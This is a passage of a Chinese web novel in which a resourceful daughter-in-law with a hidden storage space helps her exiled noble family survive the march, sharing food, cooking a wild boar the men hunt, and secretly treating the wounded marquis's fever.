很快,程七七就在草丛里抓出了两只肥嘟嘟的鸡来了,鸡扑腾着翅膀,瞬间就让温氏她们三个人激动的抬头,看到程七七手里的鸡时,瞬间激动了:“这里居然有鸡!” 大半个月没能吃上肉的温氏几个人,不由的咽了咽口水。 程七七带着两只鸡回来,瞬间,所有人的目光,都盯上了两只鸡。 “哎呦,今天又是找到蘑菇,又是找到鸡的,小鸡炖蘑菇好吃,七七啊,我们今天可是有口福了。” 大房何氏的话一出来,靳大爷立刻沉下了脸:“这是七七找到的,你吃什么吃?” “我……” 何氏刚想说一家人,但,想着程七七之前连林惠兰扒衣服都敢,瞬间就不敢多说话了,只是眼睛一直盯着程七七手里的鸡,狂咽口水。 “不止鸡是七七找到的,蘑菇也是七七找到的。” 温氏开口,问:“七七,我能不能拿红薯跟你换点蘑菇?” 天天红薯粥,这一整天的,屁都多放几个。 李氏也附和着点头:“对啊,七七,我们拿红薯跟你换点蘑菇。” 至于鸡…… 她们还没那么大的脸! 鸡看着肥,但,忠勇侯是病患,老夫人身体不好,每天都昏昏欲睡的,靳岁安才三岁,他们老的老,小的小,病的病,哪个不需要补补? “能换鸡吗?” 靳晴一边咽口水,一边盯着程七七的鸡,在她想来,蘑菇能换,鸡为什么不能换! 第一卷 第18章 不发粮食 “晴儿!” 李氏捂着靳晴儿的嘴。 程七七眼眸一闪,视线在她们几个人的身上一一掠过,大房何氏最没心机,有什么都摆在脸上了,同时,也只有大房有一个庶出的女儿。 二房温氏温温柔柔的,哭的时候,都是梨花带雨的。 三房李氏,有点小聪明。 程七七侧目,拎着两只肥嘟嘟的鸡,看向了柳素仪:“娘,你觉得呢?” “鸡是你找到的,你想怎么分就怎么分。”柳素仪眼皮一抬,视线扫过李氏和靳晴儿。 “二嫂,七七,你们别多想,晴晴年纪小,管不住嘴。”李氏连忙道歉,表示只想要换香菇就行! “香菇可以换的。” 程七七直接拿香菇换了,旁支几房的人也不敢有意见,程七七说:“娘,我想送一只鸡和香菇给押解官差。” “好,让靳礼之陪你!”免得一个姑娘家,受欺负了。 柳素仪的眼神中都透着赞许,没有半分的不同意。 程七七愣了一下,她以为柳素仪会不同意,毕竟,大半个月没吃肉,这两只鸡看着肥,真炖上,一人也吃不上两口! “好。” 程七七拿布装了一半布袋子的香菇,再拎着一只肥嘟嘟的鸡,就递了上前:“托大人的福,运气不错,抓了两只鸡,送一只给大人尝尝。” “好。” 刀疤张看着程七七的笑容,一旁的靳礼之拿着拎着鸡和香菇上前。 看着她们离去的背影,刀疤张的眼眸微沉,这个乡下丫头,倒是会来事。 “炖鸡!” 刀疤张将肥嘟嘟的鸡扔给了儿子张贵。 鸡汤的香味飘了出来,官差那一波,大家不敢看,但程七七面前的锅里,大家都直勾勾的盯着。 “都是一家人,就换点鸡汤也不肯,太小气了。” 何氏嘀咕着的说着:“还送一只鸡给那些官差,那些王八蛋,就知道打人!” “何翠翠,你不会说话就给老子闭嘴。”靳大爷在一旁咬牙切齿的说着。 靳礼之也道:“娘,嫂子把鸡送给张大人,那也是在帮我们,吃人嘴短,往后,我们的日子也好过一点?” “……” 何氏听着他们爷俩你一句我一句的,只觉得头都大了,没好气的说:“我知道了,你们能不能闭嘴了?” 香菇炖鸡汤,滚开之后,靳岁安就已经馋的不行了。 “安安,这一碗,你端给允姐姐的爹,礼之叔叔,谢谢他背了你。” 程七七端着一碗汤给靳允。 “好!” 靳岁安端着鸡汤,就去找靳礼之了:“谢谢礼叔叔。” 靳岁安脆生生的话语,让靳礼之都不好意思了,他蹲下身子道:“安安,替我谢谢你娘!” 小小的碗,一碗汤,几块鸡肉,汤多一点,靳礼之看了一眼自家女儿靳允,道:“爹娘,小允最小,这鸡汤……” “给小允。”靳大爷开口。 何氏刚想开口,被靳大爷小声警告:“你还要跟你孙女抢食?” 何氏盯着那碗鸡汤,最终一句话没说。 “娘,礼叔叔说谢谢你。”靳岁安拿着空碗回来了。 程七七又如法炮制,让靳岁安给三房的靳润之,四房的靳四爷。 板车上躺了两个人,就已经不容易了,靳岁安不是自己走路,就是被三房轮流背的。 “娘,真好喝!” 送完了鸡汤后,靳岁安就捧着鸡汤,一边喝一边夸。 “香菇也要吃。” 程七七发现挑出来的香菇,笑着说着。 靳岁安瞬间就垮下了小脸。 柳素仪正想说:不想吃就别吃了。 “吃了香菇,可以长高高!” 程七七一开口,刚刚还垮着小脸的靳岁安,瞬间夹了个香菇塞嘴里,皱着眉头,一边吃一边说:“长高高,我就不用人背了!” 柳素仪听着这话,眼睛都红了,小姑娘真的太让人心疼了。 角落里,靳砚之道:“娘,我也想喝鸡汤。” “砚之,香菇粥也好喝的。”林惠兰煮好的香菇粥递了上前。 靳砚之翻了一个白眼,喝完了粥就往地上一躺,闭着眼睛睡大觉了。 靳雪儿咽了咽口水,知道自己喝不上鸡汤,吃完之后,也躺下睡觉了。 喝了鸡汤,鸡汤粥,用了止血药粉,忠勇侯烧了一晚上,后来又退了,又赶了两天路,忠勇侯再次清醒过来了。 “醒了就好。” 柳素仪一直没哭,这会看着侯爷醒过来了,眼中含着的泪,才滴滴落下。 “我命硬着呢,死不了。” 忠勇侯呼了一口气,跟林惠兰哭的脑仁疼不一样,柳素仪哭起来都是隐忍的。 “那还不是七七的药好?没有七七的药?你以为还能醒?” 柳素仪一说起这个,凑上前小声说:“姓张的肯定收了崔烈的钱,你受伤了,这几天都不让在城里过夜,一直宿在荒郊野岭的,还好,七七运气好,每天都能找到一些吃的。” 前天是鸡,昨天是栗子,今天是野菜。 还有之前找到的香菇树,摘完一波之后,每天都会长一点出来。 “还有安安,这孩子太招人疼了。” 柳素仪絮絮叨叨的,三句不离儿媳妇,最后惋惜道:“可惜,墨儿没福气。”走的太早了。 “以后的事,谁说的准呢。” 忠勇侯安慰着,他问:“你说,那天救我们的人受伤了?伤的重不重?有没有性命之忧?” “替你挡了一刀,流了不少血,还把药喂给你吃了,你说,是不是重山和止水他们?”柳素仪蹙眉问。 …… “爹,侯爷居然撑过来了。” 张贵看到忠勇侯醒了,都震惊了,那么深的伤口,他们也没让补给药,居然还活着呢? “确实是命硬。” 刀疤张眼眸微闪,道:“既然他们天天能找着粮食,我们就不用发粮食了。” 第二天,靳家人没有收到粮食,立刻就找刀疤张了,刀疤张一边擦拭着他的鞭子,一边道:“没有进城里补给,我们手里也没粮食了,你们不是能找野菜,先对付几口。” 靳大爷还想说什么,刀疤手里的鞭子往半空一扬,瞬间,他不敢说话了,他垂头丧脑的回去,咬牙切齿的说:“二弟,他分明是想饿死我们!” 囚粮虽然不多,但,一天走五十里路,光靠着他们一路上买的粮食,能撑多久? 第一卷 第19章 犯人跑了 “我们不是还有红薯土豆,先吃着,我们没多少吃的,他们,肯定也不多了。” 忠勇侯盯着为首的马车,道:“马上就到洪都府了,他们必定会去。” 押解公文,还得找人签字盖章呢! “侯爷。” 看到忠勇侯醒了,林惠兰见机凑了上前,委屈的说道:“你看砚之都瘦了,先前程七七抓到了鸡,送给官差吃也就算了,砚之可是侯爷唯一的儿子啊,连口汤都没吃上。” “还有,砚之受伤了,连大房都能有药,程七七都不愿意给砚之。” 林惠兰抹着眼泪道:“砚之可是你唯一的儿子啊,你看看,砚之现在瘦成什么样了。” ‘唯一的儿子’几个字上,林惠兰可是说的特别的重。 “爹。” 靳砚之这么长时间以来的委屈,这会全部都迸发了出来,爹一直昏迷着,醒了那天,又遇上土匪了,忠勇侯再次昏迷。 “呜呜,我过的好苦啊,我都二十一天没吃肉了!” “我感觉我肚子上都没有肉了。” “程七七有鸡汤,也不给我喝。” 靳砚之一边抽泣,一边哭着告状。 “闭嘴!” 忠勇侯看着哭的一把鼻涕一把眼泪的靳砚之,恨铁不成钢的说:“你一个大男人,还好意思告你嫂子的状?要不是你嫂子,你身上有衣服穿?有吃的?” 程七七为了靳家人送了什么东西,做了些什么,忠勇侯可是一清二楚的! “靳砚之,你今年十八了,你哥十八的时候,在战场上已经立功了!”忠勇侯看着靳砚之一脸嫌弃,他是怎么好意思告状的? 靳砚之的眼睛瞪的跟铜铃一样,双目赤红,双手紧握成拳头,怒瞪着忠勇侯:“你还是我亲爹吗?你居然训我?” 靳砚之从小锦衣玉食的,最开始,挨了几鞭子,又饿了几顿,学乖了,想着等爹醒来之后,他的日子就好了! 带着这样的念头,靳砚之一直在坚持着,可,如今,亲爹不为他打报不平就算了,居然还训他? “啪!” 忠勇侯一巴掌拍到他肩膀上:“老子不是你亲爹谁是?我受伤昏迷了,你一点事都扛不起,不训你训谁?还不如你嫂子……” 靳砚之的肩膀都被拍疼了,气的站了起来,激动的打断道:“她才不是我嫂子!她一个乡下人,凭什么当我嫂子?她不配!” 话落,靳砚之也没管忠勇侯,转身到树边,疯狂的拿脚踢树,仿佛拿树当敌人了。 “你个混账东西!” 忠勇侯被气得直捂着胸口。 “砚之,侯爷……” 林惠兰一会看看坐在树下委屈的儿子,一会看看忠勇侯,她柔弱似无骨的趴在板车边上,伸出她的手道:“侯爷,妾身吃苦不要紧,但砚之是你唯一的儿子,他……” “我父亲跟着先帝四处征战的时候,也不过十几岁,我上战场的时候,也才十六岁,墨之十六岁的时候,已经靠着自己,立功成千户了!” 忠勇侯看林惠兰这模样,更是生气,指着踢树的靳砚之:“你再看看他,都已经十八了,能干什么?” “……” 林惠兰没想到侯爷不仅没哄她,连唯一的儿子都挨训,林惠兰默默啜泣着,不满的想:侯爷要是好好培养砚之,砚之也不会成现在这样啊。 “哼。” 柳素仪远远的看着这一幕,冷哼一声:这林惠兰还真以为墨儿没了,他靳砚之就能入侯爷的眼了? 不过就是一个草包。 “七七,一个人的出身并不代表什么,以前,是我以貌取人了,娘给你道歉。” 柳素仪拉着程七七安抚道:“有你这个儿媳妇,娘很高兴,且骄傲。” “谢谢娘。” 程七七微笑着,靳砚之的话她不在意,但,婆婆的关心,她很受用。 程七七抬眸看了一眼踢树的靳砚之,忠勇侯只要不傻,宁愿过继一个,也绝不会扶靳砚之上位的! 就靳砚之那只会吃喝玩乐的,能担得起什么事? 傍晚,吃过晚饭后,靳家人三三两两的坐在一起,一天五十里地,对于养尊处优的靳家人来说,还是很辛苦的! “七七,幸好你买了这么多双鞋,不然,我们这脚啊,可要受罪了。” 柳素仪看着短短时间已经磨破两双鞋,换上第三双鞋了,她十分的感激,该夸儿媳妇的时候,她从来都不吝啬! “可不是,二嫂,七七的鞋子,可救了我的脚的命。” 二房温氏温温柔柔的,从最开始磨出血泡来,这都快走了一个月了,她们都走的麻木了。 大家三三两两的聊着天,靳砚之起身去上茅房,大家谁都没有在意。 “不好了,不好了,犯人逃跑了!” 随着一声惊慌的惊呼声,瞬间让困意朦胧的靳家人都吓了一跳。 “驴蛋,怎么回事?” 刀疤张看了一眼板车上的忠勇侯,地上躺着的靳家人,谁跑了? “刚刚我带靳砚之去解手,谁知道,听了半天的水声,也没见着有人,等我察觉不对,都没瞧见人了!” 作为打杂的驴蛋,什么喂马搬东西,都是归他干的,看犯人解手这脏活,也自然是归他的。 他就打了一个盹,谁知道,茫茫黑夜,这人就不见了! “蠢货!” 刀疤张听到名字,立刻就知道,这是忠勇侯府唯一的庶子,也在必死名单之上! “阿贵,把他们看好了,其它人跟我去抓人!” 刀疤张吩咐着,拔出刀来,冷着脸就朝着山上走去。 “误会,肯定是有误会!” 忠勇侯从板车上下来,靳砚之再不争气,那也是他的儿子! “是不是误会,抓来便知!” 刀疤张冷着脸上山,正好抓着这机会,送他下黄泉! 山上,靳砚之回头看着打盹的驴蛋,嘲讽的道:“小爷我聪明着呢!” “等我跑了,隐姓埋名,再也不用过这样的苦日子了了!” 靳砚之咬牙说着,朝着四处张望着:“有人吗?有人来救我吗?” 靳砚之一边跑,一边小声说着,靳墨之死了,他的旧部,来守护他,一点毛病没有吧? 靳砚之抓着镣铐,趁着夜色,跑的那叫一个连滚带爬的,突然,不知道踩着什么了,他一个翻滚下了山坳,他捂着嘴不敢尖叫。 他的身子浑身疼的不行,最后脑袋还撞了一下树,疼的他龇牙咧嘴的,他刚挣扎着想要起来,忽然,他的眼前,多了两团白光! 第一卷 第20章 分猪肉 “啊……” “救命啊。” 靳砚之借着月光,看着眼前青面獠牙的野猪时,吓的尖叫。 野猪似乎嫌弃他的喊声,一脚踩在了靳砚之的腿上,疼的他的尖叫声再次响起,惊起了黑夜中熟睡的鸟儿,还有上山寻人的刀疤张等人! “把靳家男丁,都带来!” 刀疤张听到那惨叫声,立刻朝着一旁的下属吩咐着,他仔细听着,很快,就看到靳砚之连滚带爬的,被野猪当玩具一样,一踢,一踩,一扔…… 靳家人被带过来时,受伤的忠勇侯也顾不得身上的伤口了,道:“野猪皮糙肉厚,大哥,你守住东南方,护住女眷们,二弟三弟,你带着几个孩子拿火把驱赶!” “大人,我需要刀!” 忠勇侯看着刀疤张。 夜色下,火把照耀下,忠勇侯面庞冰冷,眼神犀利。 刀疤张握着刀,哪怕忠勇侯多年未上战场,但,宝刀未老。 “是把野猪赶跑,还是抓野猪吃肉,大人自行选择。” 忠勇侯哪怕手有镣铐,可站在那里,便如巍峨高山,野猪凶猛,伴随着林惠兰担心的呼喊声,眼看着,野猪就要跑了! “松镣铐,你们谁要是敢逃跑,女眷们,一个都别想活!” 刀疤张使了一个眼色,张贵拿着刀,带着两个衙役,站在护卫的身旁。 “我靳义行得正,坐得端,绝不做逃跑小人。” 忠勇侯的声音里都透着凛然的正气。 很快,忠勇侯就带着靳家几个男人上山抓野猪了,刀疤张也跟着一起,留下张贵和两个衙役在这里守着女眷。 “侯爷的伤,还没好全呢。” 柳素仪看向吵闹的方向,眉眼之中,尽是担心。 “这么大的野猪,我们岂不是都能吃上肉了?” 大房何氏盯着那四处乱窜的野猪,狂咽口水。 “闭嘴。” 柳素仪一个冷眼扫过去,何氏,顿时就不敢说话了。 程七七也没说话,而是看着山林中,重伤刚愈的忠勇侯,老当益壮,他镇定的声音指挥着,此时,没有押解官差和犯人,大家的目标,都是一样的! 刀疤张几个还是很惜命的,都让靳家人去冲锋,他们只是从旁协助一二。 火把在山林里穿梭,忠勇侯的一声大喝:“礼之,戳眼睛!” 话落,就听到野猪嚎叫的声音。 没多久,靳大爷他们几个人就抬着野猪下山了。 七八十斤的野猪,不算大,但,这要一分,大家可能吃一顿好的! “猪脚拿着,猪头归他们,猪身子,划拉一半。” 刀疤张眼神一挑,笑看着忠勇侯道:“侯爷觉得如何?” 靳家人脸色一变,忠勇侯道:“大人,我如今是罪臣,大人叫我靳义就好,大人愿意分猪头,一身猪肉,已经是对我们格外关照了,谢过大人!” 忠勇侯的低姿态,让刀疤张的心情格外的好,要知道,眼前的人,可曾经是高高在上的忠勇侯,如今,却姿态卑微的站在他的面前,等着他的施舍。 刀疤张有一种说不出来的自得感,他大度的摆了摆手道:“行了,那赶紧杀猪分肉!” “是。” 忠勇侯说着,拉着靳三爷和靳四爷道:“趁着猪刚死,还有火,我们炖了。” 晚上吃的野菜粥,汤汤水水的,肚子根本就不饱。 “二哥,他,他也太欺负人了。”靳三爷气的咬牙切齿的,这野猪分明就是他们跟二哥一起猎到的,刀疤张他们,居然拿一半的肉不说,连四个猪蹄,都全部都拿走了! “就是,二哥你伤口都裂开了,野猪都是我们才抓到的,他……” 靳四爷也忍不住替自家二哥报不平,他们靳家分的少了,他们人这么多,分到的肉自然就更少了! “我们是犯人。” 忠勇侯一句话,瞬间就让他们闭上嘴了,道:“礼之,润之,你们去把砚之拖回来看看,到底是怎么回事!” “对了,靳义。” 刀疤张正要回马车里休息,站在马车上,他居高临下的看着忠勇侯道:“你儿子逃跑的事情……” “大人误会了,砚之去解手,夜黑踩滑摔跤了,他绝对不敢逃跑的。” 忠勇侯立刻开口,半躬着身子坚定的回答着。 “最好如此,否则,也别怪我不讲情面了。” 刀疤张进了马车,靳家父子的命,他是要定了,不过嘛,靳砚之刚刚似乎断腿了,被踢成那样,他也没必要再动手了! 靳砚之被拖了回来,鬼哭狼嚎的,忠勇侯冷着脸:“靳砚之,你再敢嚎一句,老子把你丢山上喂野猪。” “……” 靳砚之瞬间不敢哭了,但咬着牙,满脸的不服气! 林惠兰哽咽道:“侯爷,砚之都成这样了……” “我靳家儿郎,在战场上,流血不流泪,不就断了一条腿吗?受了点皮外伤,哭成这样!” 忠勇侯冷声道:“若是这点苦都吃不了,找根绳吊树上,早死早超生,流放路上的苦还多着呢,就凭你这样,连墨之的手指头都比不上。” 忠勇侯将外衫一脱,露出了瘆血的伤口:“老三,上药。” 忠勇侯只给了靳砚之一个背影,靳砚之看着这一幕,瞬间不敢吱声了! 靳家女眷则是开始准备着野猪肉了! “可惜现在天气还热,这猪肉留不了几天。”何氏一边收拾着猪肉,一边惋惜的说着。 温氏开口:“我们人多,这点猪肉,吃个两天,也够了。” “那些猪大肠和小肠留着。” 程七七开口,看着大肠和小肠,准备跟着猪头一起卤了,她道:“别浪费了。” “这也能吃?”何氏的眼神是不可置信的,看着程七七的眼神仿佛都透着嫌弃。 “为什么不能吃?比野菜香多了!” 程七七毫不嫌弃的拿起猪大肠和猪小肠,她直接就去小溪里清洗了。 “嫂子,我,我来帮你。” 靳萱儿跟在程七七的身边,想要帮忙,却无从下手。 “萱儿,你到旁边多找点柴火,野猪肉得多炖点时间才够香呢。”程七七把靳萱儿打发走,直接来了一个狸猫换太子,换出了空间里处理好的大肠和小肠,还偷偷的加了一点分量。 第一卷 第21章 爹,这没毒吧? “程七七。” 一声尖叫声响起,把正准备卤猪头和大肠小肠的程七七吓了一跳。 “七七啊,这大肠小肠的,怎么能跟猪头放在一起呢?这不是浪费了吗?” 大房何氏看到程七七的动作,激动的说:“这猪头虽然没多少肉,但也是肉啊,这跟着大肠小肠一起,这么臭,到时候谁吃得下啊?” “何翠翠,这么多肉,还不够你吃的吗?” 柳素仪蹙眉,虽然她也不知道为什么程七七连猪大肠和猪小肠也放在一起,但是,她护短,她相信程七七不是浪费的人。 “不过是一个猪头肉,也值得你在这里叫唤?” 柳素仪冷声道:“侯爷,先前你还没醒的时候,我就做主,分好了,大家各自做各自的。” “素仪,你的想法很好,但是……” 忠勇侯铜铃似的眼睛在靳家旁支身上一一扫过,道:“都流放了,我们要拧成一条绳,才能平安到达岭南,开启新的生活。” “二弟,你放心,我们都听你的。”靳大爷立刻表态。 靳三爷道:“二哥,没有你,我们一家子都在种地呢,都听你的。” 靳四爷:“对。” “从京城开始,七七又是给吃的,又是拿衣服,路上找吃食,也是七七找到的,所以,七七想卤个猪头肉,大肠,有问题吗?” 忠勇侯的声音低沉,扫过旁支那几个女眷。 “没问题。” 温氏和李氏回答的飞快。 “我,我就是怕浪费。” 何氏不敢看忠勇侯,以前就觉得忠勇侯气场强大,柳素仪又是大家闺秀,跟她们这泥腿子出身,那是完全不一样的! 忠勇侯冷冷的扫了一眼,便看向程七七道:“放心卤,荤菜,就没有不好吃的。” “好。” 程七七没想到,不管是柳素仪,还是忠勇侯,居然都站在她这边,她更加放心的卤了,她先用姜蒜焯水,最后拿着特制的卤料包丢进去,刚炖上,那香味就上来了! 何氏吸了吸鼻子,没敢问,碰了碰靳萱儿的后背。 靳萱儿看了一眼,才小声的询问:“嫂子,你这香料好香呀。” “这是我自己琢磨出来的香料,里面有八角、桂皮、丁香、小茴香。”程七七假装不知道何氏的意思。 香味,传的老远,刀疤张几人瞬间觉得锅里的肉,不如别人锅里的香了。 程七七拿油纸,包了一点料给靳礼之:“送给官差他们吧。” 靳礼看着那油纸小包,朝着刀疤张等人送了过去。 “爹,这没毒吧?” 张贵看着油纸包的那么一点点料,刚开口,脑袋就被打了。 “用你那猪脑子想想!” 刀疤张一巴掌拍了过去,他怎么就生了个这么蠢的儿子? 这一晚上,炖肉的香味,馋的大家都不想睡了,等吃上肉的时候,大家的心情更加美了。 哪怕只放一点盐巴,甚至还有一点腥味,一点不妨碍大家吃的香。 程七七卤的猪头和大肠小肠盖上了罐子,似乎没有吃的意思,何氏看了一眼,也不敢再说话了! “嗝。” 不知道谁打了一个饱嗝,靳礼之开心的说:“这么长时间,终于吃了一顿饱饭了!” 吃肉吃饱的! “爹,我的腿怎么办?” 吃饱喝足后,靳砚之就开始担心他的腿了。 “断了,我给你接上,养上十天半个月的,就好了。” 忠勇侯轻飘飘的话,让靳砚之瞬间就想哭了。 一旁的林惠兰擦了擦泛着油光的嘴,她抹着眼睛道:“侯爷,砚之可是你唯一的儿子,我们还是找他们拿点药吧。” “林惠兰。” 忠勇侯目光灼灼的盯着她:“我先前没药的时候,你可曾有半点担心。” “自然是担心的。” 林惠兰激动的恨不得发誓,但,忠勇侯那铜铃似的眼睛,仿佛能看穿一切,林惠兰垂下了眸子:“侯爷……” “行了,他瘸不了。”最多吃点苦头。 忠勇侯上前,刚碰上靳砚之的腿,靳砚之就疼的嗷嗷直叫。 “闭嘴。” 忠勇侯直接拿了一块布,塞到了靳砚之的嘴里,道:“这么一点小伤,叫唤成这样,丢我靳家人的脸。” 靳砚之疼的青筋直叫,一旁的林惠兰连连道:“侯爷,您可轻点吧。” 忠勇侯一个眼神扫过去,林惠兰不敢说话了,只能安抚道:“砚之,你忍忍。” “唔唔唔~!” 忍不住,快疼死了! 靳砚之的眼泪哗啦啦往下流,忠勇侯道:“礼之,拿两根棍来。” “侯爷,这能行吗?” 林惠兰一听,连忙开口。 忠勇侯反问:“那你去找两块木板来。” 林惠兰:“……”这荒郊野岭的,她找不到啊。 靳礼之挑了两根笔直的木棍递上前,忠勇侯绑上之后,直接就拿木棍缠上:“砚之,吃得苦中苦,方为人上人。” 靳砚之:“……”他想成为人上人,不想吃苦。 “行了,睡吧。” 绑完后,忠勇侯就靠着树闭上了眼睛:“明天还有五十里路要赶。” 五十里路。 林惠兰瞬间更加担心了,刚想问忠勇侯,能不能让儿子坐板车,一抬头,看着忠勇侯紧闭的眼睛,哪怕一身血衣,他浑身透出来的冷意,也让林惠兰不敢再开口了,只能暗自在心里焦急。 林惠兰刚准备走,就看到柳素仪眼底一闪而逝的嘲讽,林惠兰毫不客气的瞪了回去,那眼神仿佛在说:得意什么,我儿子只是断腿,你儿子却是死了! 柳素仪闭上眼睛,懒得再看林惠兰那惺惺作态的样子了! 程七七拿衣服盖在女儿的身上,想:忠勇侯醒来是有好处的,旁支三房怕他不说,就连林惠兰母子三人更怕,往后,也懒得再费口舌了。 夜,渐深了,靳砚之疼了一整晚,熬到天亮,看到亲爹忠勇侯在干活时,瞬间就吓着了,亲爹昨天的伤口,他可瞧见了,森森白骨都露出来了,居然……跟个没事人一样? 剩下的猪肉汤熬成了粥,程七七掀开盖子,昨天卤了一晚上的猪头肉和大肠,剥肉切成段,再放进粥里,就成了猪头肉大肠粥! “侯爷,娘,要不,你们尝尝?” 程七七主动询问着。 第一卷 第22章 谁让他逞强的? 柳素仪迟疑,护短归护短,但大肠,这不是装猪屎的地方吗?吃不下…… “我尝尝。” 忠勇侯端过粥,问:“七七,你以后,就叫我爹。” “爹。” 程七七果断改口,忠勇侯一看就是有本事的,往后,还得抱紧这个粗大腿! “娘,其实这个挺好吃的。” 程七七盛了一份给靳岁安,三岁的靳岁安,闻着肉香,只知道好吃,埋头吃的那叫一个快。 “你们谁想试试的,这里有。” 程七七主动开口。 “香!” 忠勇侯以前也吃过猪下水,但,都带着腥味,可今天一吃,腥味没有,只剩下香味了,可惜,是粥,要是大白米饭,高低得整三碗! “七七,要不,我试试。”柳素仪不想拂了程七七的面子。 真香定律,从最开始大家嫌弃,慢慢的,大家都尝上了,再到后面齐声声的一顿夸。 何氏看着一旁的靳大爷,靳礼之、靳祠之都吃格外香,默默的离得远了一点。 “砚之,你坐马车。” 忠勇侯开口,林惠兰欢欢喜喜的就要扶着靳砚之上马车了。 “侯爷,你的伤口还没好痊,能行吗?”柳素仪蹙眉。 “素仪,我撑得住。” 忠勇侯话落,柳素仪转身就收拾东西了。 半下午的时候,忠勇侯晕倒了,柳素仪快步扶住:“又高烧了?” “快,来人抬上马车。” 柳素仪说着,靳礼之和靳润之立刻上前,就把忠勇侯抬上马车,他后背的伤口又瘆血了,程七七道:“娘,我手里的药,不多了。” “七七,药留着,谁让他逞强的?” 柳素仪心底翻腾着怒气。 “柳素仪,那,砚之怎么办?” 林惠兰看着板车那么小的地方,老夫人一直不清醒,昏昏欲睡的,年纪又大了,不可能让她下来走。 再躺上一个忠勇侯,那就没位置了! 马车上,装着被褥,装着粮食,装着锅碗瓢盆,装着柴,根本没有躺的地方啊! “你看看他们谁背,到时候你送吃食,多送点。”柳素仪给她提建议。 林惠兰:“……” 她自己都不够吃,还要多送点? 那不是要她的命吗? “我来背。”靳礼之开口。 “礼之,那真是太谢谢你了。”林惠兰感激的说着。 “都是兄弟。” 靳礼之憨厚的笑着,直接蹲下身子,就将靳砚之背了起来。 “快点走!” 张贵赶着马车,看着靳家人停了下来,手里的马鞭挥得哐哐响。 “走,我们现在就走。” 因着刚刚的一耽误,靳礼之背着靳砚之,走的那叫一个快,生怕拖后腿,张贵又找机会打一鞭子了。 忠勇侯的情况不算好,烧了退,退了又烧。 特别是又碰上下毛毛雨,本来他们还以为能歇一天不走路,谁知道,刀疤张居然愣是让他们赶路! 刀疤张几人,坐着马车,护卫拿着刀跟在他们的身后,不停的催促。 毛毛细雨,千层底的布鞋,踩着湿地上,水沁在了脚上,哪怕是秋天,也是冰冷冰冷的! 靳岁安和靳允也不能下来自己走了,在靳家旁支几个男人的背上,再加上靳砚之,这一天的五十里路,走的格外的艰难。 “哎呦。” 柳素仪一个踉跄,差点没摔地上。 一旁的程七七眼疾手快的扶着她问:“娘,你还能行吗?” “能。” 柳素仪抹了一把脸上的雨水,她要给儿子平反,这么好的儿媳妇和孙女,她得活着,照顾她们! 带着这样的信念,柳素仪愣是一声不吭的。 靳雪儿倒是嫌弃的说了几句,但,张贵的鞭子,不长眼。 “要不,你来坐马车吧。” 张贵一开口,靳雪儿还没来得及高兴呢,张贵那大胆的眼睛在她的胸口处流转,靳雪儿吓的立刻躲到了林惠兰的身后,不敢再抱怨半分了。 靳家人全部都麻木了,本就艰难的流放路,还碰上下雨了。 背着人的靳礼之、靳祠之和靳润之,更是比别人更要出大力气,可,他们谁也没有吭声。 靳砚之起初还觉得挺舒服,有人背,可慢慢的,看着靳礼之背着他吃力的走着,每一步走的稳当,靳砚之的心里,便有一种不同的感觉。 午饭后,靳砚之又被靳大爷背着,他是成年男子,哪怕再轻,也跟靳允、靳岁安两个小孩子不一样。 靳砚之从最初的抱怨,也慢慢的沉默了下来,他抬头看着弯而泥泞的道路,好似这条路,走不到头一样。 “快点,今天晚上,必须赶到洪都府!” 刀疤张坐在马车上,悠闲的看着曾经高高在上的靳家众人,曾经,刀疤张给他们提鞋都不配,现在呢? “快点。” 刀疤张手里的鞭子一挥。 靳家人早就已经习惯了,非常有眼色的躲到了一旁。 没打到人的刀疤张,一点都不生气,反而觉得十分的高兴,侯爷?侯府主母? 如今不还是成了阶下囚,任他打骂? 泥泞的雨路,等赶到洪都府的驿站时,靳家人已经全身都湿透了,女眷们全部都挤在一起,抱团取暖。 一到驿站,靳礼之拿着钱,就给刀疤张塞银子,道:“大人,还请通融一二,我们住两个通铺,洗个澡?” 刀疤张掂了掂银子,大方的说:“洗吧。” 淋了一天的雨,明天,他们肯定染上风寒,到时候,忠勇侯风寒再加上旧伤…… 这染病死了,怪不得谁。 “一口锅不够用,我们自己再架两口锅,全烧上水,再生个炉子,煮上姜汤。” 程七七看着她们都着急的想要换下身上的湿衣服,直接开口吩咐着,有这换衣服的时间,水都能烧热半锅了! 今天顶着毛毛细雨淋了一天,她的身体能行,安安肯定不行! “嫂子,我来帮你。” 靳萱儿一身湿漉漉的站在程七七身边帮忙,程七七摇头道:“萱儿,你帮忙生火就行。” 程七七准备加点药材进去煮,防止染上风寒,要知道,古代一个感冒发烧就能要人命,光是热姜汤不行,她准备偷偷往里掺一点感冒药。 喝了姜汤,洗了澡,程七七感觉整个人才重新活过来,跟温氏、李氏张罗着晚上的吃食,就听到屋里传来担心的声音。 本就旧伤新伤的忠勇侯,淋了雨,烧的更厉害了。 第一卷 第23章 树皮治病? “娘,我,这里熬了药,要不,给爹试试?” 程七七端着一药过来了。 柳素仪还没回答呢,一个尖叫声响起。 “你想害死爹吗?” 靳雪儿冲了上前,想要抢走程七七手里的那碗药,程七七侧身,靳雪儿扑了一个空。 “靳雪儿,你闹什么?” 柳素仪抓住靳雪儿,冷眼盯着她。 “她拿树皮水当药,煎给我爹喝,她肯定想让我爹死!” 靳雪儿自从上回茅房发生的事情之后,靳萱儿她们都开始不理她了,每天吃不饱,还要走这么远的路,靳雪儿想发脾气也不敢发! “树皮?” 柳素仪看了一眼程七七手里的碗。 “就是树皮,我亲眼看到的。” 林惠兰迫不及待地冲了进来:“柳素仪,你的乡下好儿媳妇,想要害死侯爷呢!” “闭嘴。” 柳素仪睨了她一眼,侧身,看着程七七问:“树皮水可以退烧吗?” “笑死……”人。 林惠兰的话还没说出口呢,程七七笃定地说:“能!” 树皮水已经被她替换成空间里的退烧药了,对忠勇侯来说,只要退烧,那就能保住小命! “我来喂。” 柳素仪说着,端着碗,直接喂到了忠勇侯的嘴边。 “柳素仪,你害死侯爷有什么好处,你……” 林惠兰激动地冲了过来,程七七上前挡住她,道:“林姨娘要是能请来郎中,那这树皮水,也可以不喝!” “你……” 林惠兰冲动的话,瞬间闭上了嘴,她悻悻然的转身离开。 “娘,这是柳树皮,用最嫩的柳树皮,取内面白色的部分,可退高热。” 程七七笃定的话,让喂药的柳素仪笑了,道:“娘信你!” 一碗药喝下去,靳礼之给忠勇侯换了药,换上了干净的衣服。 两间大通铺,相比在野外随意的躺在地上,靠在树上睡相比,简直不要太好。 “没想到,会有一天睡着大通铺,感觉到舒服。” 柳素仪坐在床上,只觉得流放的这近一个月的时间,就像是在做梦一样。 “叩叩。” 